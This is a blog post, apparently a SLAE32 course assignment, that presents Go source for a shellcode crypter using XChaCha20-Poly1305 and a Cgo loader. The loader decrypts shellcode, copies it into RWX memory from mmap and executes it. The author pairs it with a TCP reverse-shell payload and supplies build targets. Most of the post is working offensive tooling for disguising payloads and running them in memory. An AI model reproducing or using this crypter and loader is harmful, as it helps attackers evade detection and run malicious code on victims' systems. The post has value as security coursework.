SLAE32 - Shellcode crypter and loader with Cgo
Introduction
As final assignment for the SLAE32 course, we are going to create a shellcode crypter, and a simple shellcode loader with Cgo . I’ve been wanting to try out Cgo for a while, so I thought this would be a great opportunity to experiment with it.
Shellcode Crypter
I initially wrote the crypter with Python and PyNaCl
, but since lately I’ve been using Go for all of my projects, I decided to rewrite the crypter in Go (I included both versions in the
github repo
.
The crypter perform the following operations:
- reads the shellcode bytes from the provided binary file (with
-i
flag) - generates random key and nonce, which change each time the crypter is run
- encrypts the shellcode using the XChaCha20 algorithm, implemented in the
golang.org/x/crypto/chacha20poly1305
library.
If all the above operations have completed successfully, the crypter will print the random key and the encrpyted shellcode to stdout with Go bytearray format.
Here is the source code for the crypter:
package main
import (
"crypto/rand"
"flag"
"fmt"
"io/ioutil"
"os"
"golang.org/x/crypto/chacha20poly1305"
)
[...]
const keysize = 32 // encryption key size (32-bytes = 256-bit)
func main() {
var shellcodeFile string
// [...] CLI flags parsing
shellcode := readShellcodeFile(shellcodeFile)
fmt.Println("[+] Generating random 256-bits key ...\n")
key := make([]byte, keysize)
if _, err := rand.Read(key); err != nil {
panic(err)
}
printBytearray("key", key[:])
// XChaCha20-Poly1305 AEAD
aead, _ := chacha20poly1305.NewX(key[:])
// Get random nonce and leave space for encrypted shellcode
fmt.Println("[+] Generating random nonce ...")
nonce := make(
[]byte,
aead.NonceSize(),
aead.NonceSize()+len(shellcode)+aead.Overhead(),
)
if _, err := rand.Read(nonce); err != nil {
panic(err)
}
// Encryption (output: nonce+enc_shellcode)
fmt.Println("[+] Encrypting shellcode ...\n")
var encSc []byte
encSc = aead.Seal(nonce, nonce, shellcode, nil)
printBytearray("scBuf", encSc)
}
We now need to compile the code. I usually use make
to avoid having to remember all the flags of each compiler, but in this case a simple go build
would have done it as well. Anyways, if you wish to use make, you can use the following build target:
.PHONY: crypter
crypter:
@echo "[*] building crypter ..." && \
cd crypter; CGO_ENABLED=0 go build \
-o ../dist/crypter main.go
All done. After choosing the shellcode to use (in this case a pretty basic TCP reverse shell one), we can run the crypter to generate the key and the encrypted shellcode:
Shellcode Loader
As mentioned above for the loader, we are going to take advantage of Cgo, and implement the process injection capabilities in C. Using Cgo is very simple, we just need to follow its convention, which requires importing the C pseudo-package, and writing the C code as comment, right above it.
Since we are calling C code from a Go executable, we also need to tweak the C template we used in the previous assignments, to avoid placing the shellcode on the stack, since the Go compiler by design marks the stack as non-executable.
This time we’re allocating a large-enough memory space to hold our shellcode, in the process VAS (virtual address space) by calling the mmap
function, which works similarly to the VirtualAlloc
function on Windows. Here’s the function signature with added comments:
#include <sys/mman.h>
// returns a pointer to the mapped area
void *mmap(
void *addr, // address or null to let the kernel choose a page-aligned address
size_t length, // size of the allocated memory region
int prot, // desired memory protection
int flags, // mappings updates visibility flags
int fd, // file descriptor
off_t offset // offset in file
);
Finally, to call the execute
function, we also need to use the unsafe
library and pass a pointer to the start of the allocated memory with the shellcode (and its size) as function arguments. This is needed since Go is a memory-safe language, and accessing the memory directly is not allowed.
And here’s the code for the loader:
package main
/*
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
void execute(char *shellcode, size_t length) {
unsigned char *sc_ptr;
sc_ptr = (unsigned char *) mmap(0, length, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
memcpy(sc_ptr, shellcode, length);
(*(void(*) ()) sc_ptr)();
}
*/
import "C"
import (
"fmt"
"unsafe"
"golang.org/x/crypto/chacha20poly1305"
)
func main() {
key := []byte{
0x17, 0x10, 0x43, 0x7b, 0x7f, 0xb1, ...
}
scBuf := []byte{
0xc4, 0xdc, 0xd5, 0x72, 0xdd, 0xec, ...
}
aead, err := chacha20poly1305.NewX(key)
if err != nil {
panic(err)
}
if len(scBuf) < aead.NonceSize() {
panic("[!] ERROR. Chiphertext too short")
}
// Split nonce and ciphertext.
nonce, ciphertext := scBuf[:aead.NonceSize()], scBuf[aead.NonceSize():]
// Decryption
fmt.Println("[+] Decrypting shellcode ...")
shellcode, err := aead.Open(nil, nonce, ciphertext, nil)
if err != nil {
panic(err)
}
fmt.Println("[+] Running shellcode ...")
C.execute((*C.char)(unsafe.Pointer(&shellcode[0])), (C.size_t)(len(shellcode)))
}
Once gain we can compile the shellcode loader with Cgo support using the following make target:
.PHONY: loader
loader:
@echo "[*] building loader ..." && \
cd loader; CGO_ENABLED=1 go build \
-o ../dist/loader main.go
Great. Let’s launch the loader to decrypt and execute the shellcode in memory:
Final thoughts
Final mission complete!
This was the last assignment for the SLAE32 course. Even thought I’ve never bothered to submit the fee to redeem the course completion certificate (I had the monthly subscription with limited credits to access the videos), the SLAE32 course from PentesterAcademy was definitely a pretty good and informative one. I had a lot of fun completing all the assignments, and learned a few neat tricks along the way.
If you want to check out the code used to complete this and all the other course assignment, you can refer to the slae32 repository in my Github.
Thank you for reading!